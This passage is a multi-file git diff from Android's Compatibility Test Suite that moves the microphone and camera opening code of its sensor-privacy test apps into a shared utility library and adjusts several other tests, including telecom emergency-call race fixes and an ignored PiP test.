+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts.usemiccamera.overlay
+
+import android.app.Activity
+import android.app.AppOpsManager
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.os.Bundle
+import android.os.Handler
+import android.os.Process
+import android.sensorprivacy.cts.testapp.utils.Cam
+import android.sensorprivacy.cts.testapp.utils.Mic
+import android.sensorprivacy.cts.testapp.utils.openCam
+import android.sensorprivacy.cts.testapp.utils.openMic
+
+class UseMicCamera : Activity() {
+    private var mic: Mic? = null
+    private var cam: Cam? = null
+    private lateinit var appOpsManager: AppOpsManager
+
+    companion object {
+        const val MIC_CAM_OVERLAY_ACTIVITY_ACTION =
+                "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM"
+        const val FINISH_MIC_CAM_ACTIVITY_ACTION =
+                "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
+        const val USE_MIC_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.USE_MICROPHONE"
+        const val USE_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.USE_CAMERA"
+        const val DELAYED_ACTIVITY_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
+        const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+        const val RETRY_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
+    }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        val handler = Handler(mainLooper)
+        appOpsManager = applicationContext.getSystemService(AppOpsManager::class.java)!!
+
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                unregisterReceiver(this)
+                mic?.close()
+                cam?.close()
+                appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA,
+                        Process.myUid(), applicationContext.packageName)
+                finishAndRemoveTask()
+                Runtime.getRuntime().exit(0)
+            }
+        }, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION))
+
+        val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false)
+        val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false)
+        if (useMic) {
+            handler.postDelayed({ mic = openMic() }, 1000)
+        }
+        if (useCam) {
+            handler.postDelayed({
+                cam = openCam(this, intent.getBooleanExtra(UseMicCamera.RETRY_CAM_EXTRA, false))
+            }, 1000)
+        }
+
+        handler.postDelayed({
+            val intent = Intent(this, OverlayActivity::class.java)
+            if (intent.getBooleanExtra(DELAYED_ACTIVITY_NEW_TASK_EXTRA, false)) {
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+            }
+            startActivity(intent)
+        }, 2000)
+    }
+}
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
index 96fea35..08ff0fcc 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -30,4 +30,8 @@
         "general-tests",
     ],
     srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "SensorPrivacyTestAppUtils",
+    ],
 }
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
index 7281cad..0e8be51 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
@@ -22,31 +22,21 @@
 import android.content.Context
 import android.content.Intent
 import android.content.IntentFilter
-import android.hardware.camera2.CameraCaptureSession
-import android.hardware.camera2.CameraCharacteristics
-import android.hardware.camera2.CameraDevice
-import android.hardware.camera2.CameraManager
-import android.hardware.camera2.params.OutputConfiguration
-import android.hardware.camera2.params.SessionConfiguration
-import android.media.AudioFormat
-import android.media.AudioRecord
-import android.media.ImageReader
-import android.media.MediaRecorder
 import android.os.Bundle
 import android.os.Handler
 import android.os.Process
-import android.util.Size
-
-private const val MIC = 1 shl 0
-private const val CAM = 1 shl 1
-
-private const val SAMPLING_RATE = 8000
+import android.sensorprivacy.cts.testapp.utils.Cam
+import android.sensorprivacy.cts.testapp.utils.Mic
+import android.sensorprivacy.cts.testapp.utils.openCam
+import android.sensorprivacy.cts.testapp.utils.openMic
 
 class UseMicCamera : Activity() {
-    private var audioRecord: AudioRecord? = null
-    private var cameraDevice: CameraDevice? = null
+    private var mic: Mic? = null
+    private var cam: Cam? = null
     private lateinit var appOpsManager: AppOpsManager
 
+    val activitiesToFinish = mutableSetOf<Activity>()
+
     companion object {
         const val MIC_CAM_ACTIVITY_ACTION =
                 "android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM"
@@ -60,6 +50,8 @@
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
         const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+        const val RETRY_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
     }
 
     override fun onCreate(savedInstanceState: Bundle?) {
@@ -71,10 +63,12 @@
         registerReceiver(object : BroadcastReceiver() {
             override fun onReceive(context: Context?, intent: Intent?) {
                 unregisterReceiver(this)
-                audioRecord?.stop()
-                cameraDevice?.close()
+                mic?.close()
+                cam?.close()
                 appOpsManager.finishOp(AppOpsManager.OPSTR_CAMERA,
                         Process.myUid(), applicationContext.packageName)
+                appOpsManager.finishOp(AppOpsManager.OPSTR_RECORD_AUDIO,
+                        Process.myUid(), applicationContext.packageName)
                 finishAndRemoveTask()
             }
         }, IntentFilter(FINISH_MIC_CAM_ACTIVITY_ACTION))
@@ -82,10 +76,12 @@
         val useMic = intent.getBooleanExtra(USE_MIC_EXTRA, false)
         val useCam = intent.getBooleanExtra(USE_CAM_EXTRA, false)
         if (useMic) {
-            handler.postDelayed({ openMic() }, 1000)
+            handler.postDelayed({ mic = openMic() }, 1000)
         }
         if (useCam) {
-            handler.postDelayed({ openCam() }, 1000)
+            handler.postDelayed({
+                cam = openCam(this, intent.getBooleanExtra(RETRY_CAM_EXTRA, false))
+            }, 1000)
         }
 
         if (intent.getBooleanExtra(DELAYED_ACTIVITY_EXTRA, false)) {
@@ -98,65 +94,4 @@
             }, 2000)
         }
     }
-
-    private fun openMic() {
-        audioRecord = AudioRecord.Builder()
-                .setAudioFormat(AudioFormat.Builder()
-                        .setSampleRate(SAMPLING_RATE)
-                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
-                .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
-                .setBufferSizeInBytes(
-                        AudioRecord.getMinBufferSize(SAMPLING_RATE,
-                                AudioFormat.CHANNEL_IN_MONO,
-                                AudioFormat.ENCODING_PCM_16BIT) * 10)
-                .build()
-
-        audioRecord?.startRecording()
-    }
-
-    private fun openCam() {
-        val cameraManager = getSystemService(CameraManager::class.java)!!
-
-        val cameraId = cameraManager!!.cameraIdList[0]
-        val config = cameraManager!!.getCameraCharacteristics(cameraId)
-                .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
-        val outputFormat = config!!.outputFormats[0]
-        val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
-        val handler = Handler(mainLooper)
-
-        val cameraDeviceCallback = object : CameraDevice.StateCallback() {
-            override fun onOpened(cD: CameraDevice) {
-                val imageReader = ImageReader.newInstance(
-                        outputSize.width, outputSize.height, outputFormat, 2)
-
-                val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD)
-                builder.addTarget(imageReader.surface)
-                val captureRequest = builder.build()
-                val sessionConfiguration = SessionConfiguration(
-                        SessionConfiguration.SESSION_REGULAR,
-                        listOf(OutputConfiguration(imageReader.surface)),
-                        mainExecutor,
-                        object : CameraCaptureSession.StateCallback() {
-                            override fun onConfigured(session: CameraCaptureSession) {
-                                session.capture(captureRequest, null, handler)
-                                appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA,
-                                        Process.myUid(), applicationContext.packageName)
-                            }
-
-                            override fun onConfigureFailed(session: CameraCaptureSession) {}
-                        })
-
-                cD.createCaptureSession(sessionConfiguration)
-                cameraDevice = cD
-            }
-
-            override fun onDisconnected(cameraDevice: CameraDevice) {
-            }
-            override fun onError(cameraDevice: CameraDevice, i: Int) {
-            }
-        }
-
-        cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
-    }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/sensorprivacy/test-apps/utils/Android.bp b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
new file mode 100644
index 0000000..6901865
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/Android.bp
@@ -0,0 +1,14 @@
+android_library {
+    name: "SensorPrivacyTestAppUtils",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt"
+    ],
+
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml
new file mode 100644
index 0000000..e7b1a92
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.sensorprivacy.cts.testapp.utils" />
+
diff --git a/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt
new file mode 100644
index 0000000..7862200
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/utils/src/android/sensorprivacy/cts/testapp/utils/Utils.kt
@@ -0,0 +1,156 @@
+package android.sensorprivacy.cts.testapp.utils
+
+import android.app.AppOpsManager
+import android.content.Context
+import android.hardware.camera2.CameraCaptureSession
+import android.hardware.camera2.CameraCharacteristics
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.hardware.camera2.params.OutputConfiguration
+import android.hardware.camera2.params.SessionConfiguration
+import android.media.AudioFormat
+import android.media.AudioRecord
+import android.media.ImageReader
+import android.media.MediaRecorder
+import android.os.Handler
+import android.os.HandlerThread
+import android.os.Process
+import android.util.Log
+import android.util.Size
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+
+private const val SAMPLING_RATE = 8000
+
+private const val RETRY_TIMEOUT = 5000L
+private const val TAG = "SensorPrivacyTestAppUtils"
+
+fun openMic(): Mic {
+    val audioRecord = AudioRecord.Builder()
+            .setAudioFormat(AudioFormat.Builder()
+                    .setSampleRate(SAMPLING_RATE)
+                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                    .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+            .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
+            .setBufferSizeInBytes(
+                    AudioRecord.getMinBufferSize(SAMPLING_RATE,
+                            AudioFormat.CHANNEL_IN_MONO,
+                            AudioFormat.ENCODING_PCM_16BIT) * 10)
+            .build()
+
+    audioRecord?.startRecording()
+
+    return Mic(audioRecord)
+}
+
+fun openCam(context: Context): Cam {
+    return openCam(context, false)
+}
+
+fun openCam(context: Context, retryCam: Boolean): Cam {
+    return openCam(context, retryCam, 0, 0)
+}
+
+fun openCam(
+    context: Context,
+    retryCam: Boolean,
+    cameraOpenRetryCountRO: Int,
+    cameraMaxOpenRetryRO: Int
+): Cam {
+    var cameraOpenRetryCount = cameraOpenRetryCountRO
+    var cameraMaxOpenRetry = cameraMaxOpenRetryRO
+
+    val cameraManager = context.getSystemService(CameraManager::class.java)!!
+    val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+
+    val cameraId = cameraManager!!.cameraIdList[0]
+    val config = cameraManager!!.getCameraCharacteristics(cameraId)
+            .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
+    val outputFormat = config!!.outputFormats[0]
+    val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
+    val handlerThread = HandlerThread("CameraThread")
+    handlerThread.start()
+    val handler = Handler(handlerThread.looper)
+    val executor = Executor {
+        runnable ->
+        run {
+            handler.post(runnable)
+        }
+    }
+
+    var cameraDevice: CompletableFuture<CameraDevice> = CompletableFuture()
+
+    // Retry camera connection because external cameras are disconnected
+    // if sensor privacy is enabled (b/182204067)
+    val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId)
+            .get(CameraCharacteristics.LENS_FACING)
+            == CameraCharacteristics.LENS_FACING_EXTERNAL)
+    if (retryCam && isExternalCamera) {
+        cameraMaxOpenRetry = 1
+    }
+
+    val cameraDeviceCallback = object : CameraDevice.StateCallback() {
+        override fun onOpened(cD: CameraDevice) {
+            val imageReader = ImageReader.newInstance(
+                    outputSize.width, outputSize.height, outputFormat, 2)
+
+            val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD)
+            builder.addTarget(imageReader.surface)
+            val captureRequest = builder.build()
+            val sessionConfiguration = SessionConfiguration(
+                    SessionConfiguration.SESSION_REGULAR,
+                    listOf(OutputConfiguration(imageReader.surface)),
+                    executor,
+                    object : CameraCaptureSession.StateCallback() {
+                        override fun onConfigured(session: CameraCaptureSession) {
+                            session.capture(captureRequest, null, handler)
+                            appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA,
+                                    Process.myUid(), context.opPackageName)
+                        }
+
+                        override fun onConfigureFailed(session: CameraCaptureSession) {}
+                    })
+
+            cD.createCaptureSession(sessionConfiguration)
+            cameraDevice.complete(cD)
+            cameraOpenRetryCount = 0
+        }
+
+        override fun onDisconnected(cD: CameraDevice) {
+        }
+
+        override fun onError(cD: CameraDevice, i: Int) {
+            // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may
+            // be triggered if camera mute is not supported and sensor privacy is enabled
+            if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) {
+                cD.close()
+                cameraOpenRetryCount++
+                cameraDevice.complete(cD)
+                handler.postDelayed({
+                    openCam(context, retryCam, cameraOpenRetryCount, cameraMaxOpenRetry)
+                }, RETRY_TIMEOUT)
+            }
+        }
+    }
+
+    try {
+        cameraManager!!.openCamera(cameraId, executor, cameraDeviceCallback)
+    } catch (e: android.hardware.camera2.CameraAccessException) {
+        Log.e(TAG, "openCamera: " + e)
+    }
+
+    return Cam(cameraDevice.join(), handlerThread)
+}
+
+class Mic(val audioRecord: AudioRecord) {
+    fun close() {
+        audioRecord.stop()
+    }
+}
+
+class Cam(val cameraDevice: CameraDevice?, val thread: Thread) {
+    fun close() {
+        cameraDevice?.close()
+        thread.interrupt()
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java b/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java
deleted file mode 100644
index bc43731..0000000
--- a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.settings.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.storage.StorageManager;
-import android.provider.DocumentsContract;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/** Test to make there is only default handler for settings intent. */
-@RunWith(AndroidJUnit4.class)
-public class SettingsHandlerTest {
-
-    private static final String MEDIA_PROVIDER_AUTHORITY = "com.android.providers.media.documents";
-    private static final String RESOLVER_ACTIVITY_PACKAGE_NAME = "android";
-    private static final String RESOLVER_ACTIVITY_NAME =
-            "com.android.internal.app.ResolverActivity";
-
-    PackageManager mPackageManager =
-            InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
-
-    @Test
-    public void oneDefaultHandlerForVideoRoot() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "videos_root");
-        intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
-        assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
-    }
-
-    @Test
-    public void oneDefaultHandlerForImageRoot() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "images_root");
-        intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
-        assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
-    }
-
-    @Test
-    public void oneDefaultHandlerForAudioRoot() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "audio_root");
-        intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
-        assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
-    }
-
-    @Test
-    public void oneDefaultHandlerForDocumentRoot() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "documents_root");
-        intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
-        assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
-    }
-
-    @Test
-    public void oneDefaultHandlerForManageStorage() throws Exception {
-        Intent intent = new Intent(StorageManager.ACTION_MANAGE_STORAGE);
-
-        assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
-    }
-
-    private boolean hasAtMostOneDefaultHandlerForIntent(Intent intent) {
-        ResolveInfo resolveInfo = mPackageManager.resolveActivity(intent, /* flags= */ 0);
-
-        if (resolveInfo == null) {
-            // Return true if no handlers can handle the intent, meaning that the specific platform
-            // does need to handle the intent.
-            return true;
-        }
-
-        String packageName = resolveInfo.activityInfo.packageName;
-        String activityName = resolveInfo.activityInfo.name;
-        // If there are more than one handlers with no preferences set, the intent will resolve
-        // to com.android.internal.app.ResolverActivity.
-        return !packageName.equals(RESOLVER_ACTIVITY_PACKAGE_NAME) || !activityName.equals(
-                RESOLVER_ACTIVITY_NAME);
-    }
-}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
index 5fdfa8e..e779be5 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -59,7 +59,7 @@
 public class SimPhonebookContract_ElementaryFilesTest {
 
     // The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column.
-    private static final int NAME_MAX_LENGTH_MINIMUM = 11;
+    private static final int NAME_MAX_LENGTH_MINIMUM = 2;
     // The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column.
     private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20;
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
index 82be3e2..7e0bdcce 100644
--- a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -36,6 +36,7 @@
 import com.android.compatibility.common.util.SystemUtil
 import com.android.compatibility.common.util.ThrowingSupplier
 import org.junit.Assume
+import org.junit.Ignore
 import org.junit.Test
 import org.junit.runner.RunWith
 import kotlin.test.assertTrue
@@ -73,6 +74,7 @@
 
     /** Ensure an app can be launched into pip mode from the screensaver state. */
     @Test
+    @Ignore("b/163116693")
     fun openPip_afterScreenSaver() {
         runWithDreamManager { dreamManager ->
             dreamManager.dream()
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 5ab5a90..439b377 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -664,8 +664,16 @@
             currentConnections++;
             currentCallCount++;
         }
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
-                currentCallCount);
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(currentConnections);
+
         // Ensure the new outgoing call broadcast fired for the outgoing call.
         assertOutgoingCallBroadcastReceived(true);
 
@@ -698,7 +706,16 @@
     void placeAndVerifyCall(Bundle extras, int videoState) {
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         // We expect placing the call adds a new call/connection.
-        placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+        int expectedConnections = getNumberOfConnections() + 1;
+        placeAndVerifyCall(extras, videoState, currentCallCount + 1);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(expectedConnections);
         assertOutgoingCallBroadcastReceived(true);
 
         // CTS test does not have read call log permission so should not get the phone number.
@@ -709,8 +726,7 @@
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
-            int expectedCallCount) {
+    void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) {
         assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
         placeNewCallWithPhoneAccount(extras, videoState);
 
@@ -730,15 +746,6 @@
 
         assertEquals("InCallService should match the expected count.", expectedCallCount,
                 mInCallCallbacks.getService().getCallCount());
-
-        // The connectionService.lock is released in
-        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
-        // actually be added to the list of connections in the ConnectionService until shortly
-        // afterwards.  So there is still a potential for the lock to be released before it would
-        // be seen by calls to ConnectionService#getAllConnections().
-        // We will wait here until the list of connections includes one more connection to ensure
-        // that placing the call has fully completed.
-        assertCSConnections(expectedConnectionCount);
     }
 
     /**
@@ -752,14 +759,26 @@
     public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
         Bundle extras = new Bundle();
         extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        // We want to request the active connections vs number of connections because in some cases,
+        // we wait to destroy the underlying connection to prevent race conditions. This will result
+        // in Connections in the DISCONNECTED state.
         int currentConnectionCount = supportsHold ?
-                getNumberOfConnections() + 1 : getNumberOfConnections();
+                getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections();
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
         // The device only supports a max of two calls active at any one time
         currentCallCount = Math.min(currentCallCount, 2);
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
-                currentCallCount);
+
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertActiveCSConnections(currentConnectionCount);
+
         assertOutgoingCallBroadcastReceived(true);
         Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
         TestUtils.waitOnAllHandlers(getInstrumentation());
@@ -770,6 +789,12 @@
         return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
+    int getNumberOfActiveConnections() {
+        return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+                .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect(
+                        Collectors.toSet()).size();
+    }
+
     Connection getConnection(Uri address) {
         return CtsConnectionService.getAllConnectionsFromTelecom().stream()
                 .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
@@ -1217,6 +1242,23 @@
     );
     }
 
+    void assertActiveCSConnections(final int numConnections) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+                                              @Override
+                                              public Object expected() {
+                                                  return numConnections;
+                                              }
+
+                                              @Override
+                                              public Object actual() {
+                                                  return getNumberOfActiveConnections();
+                                              }
+                                          },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "ConnectionService should contain " + numConnections + " connections."
+        );
+    }
+
     void assertCSConnections(final int numConnections) {
         waitUntilConditionIsTrueOrTimeout(new Condition() {
                                               @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 47b1462..a1d9e6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -85,7 +85,9 @@
 
         Uri normalCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -94,6 +96,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
@@ -123,7 +126,9 @@
 
         Uri normalIncomingCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -132,6 +137,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
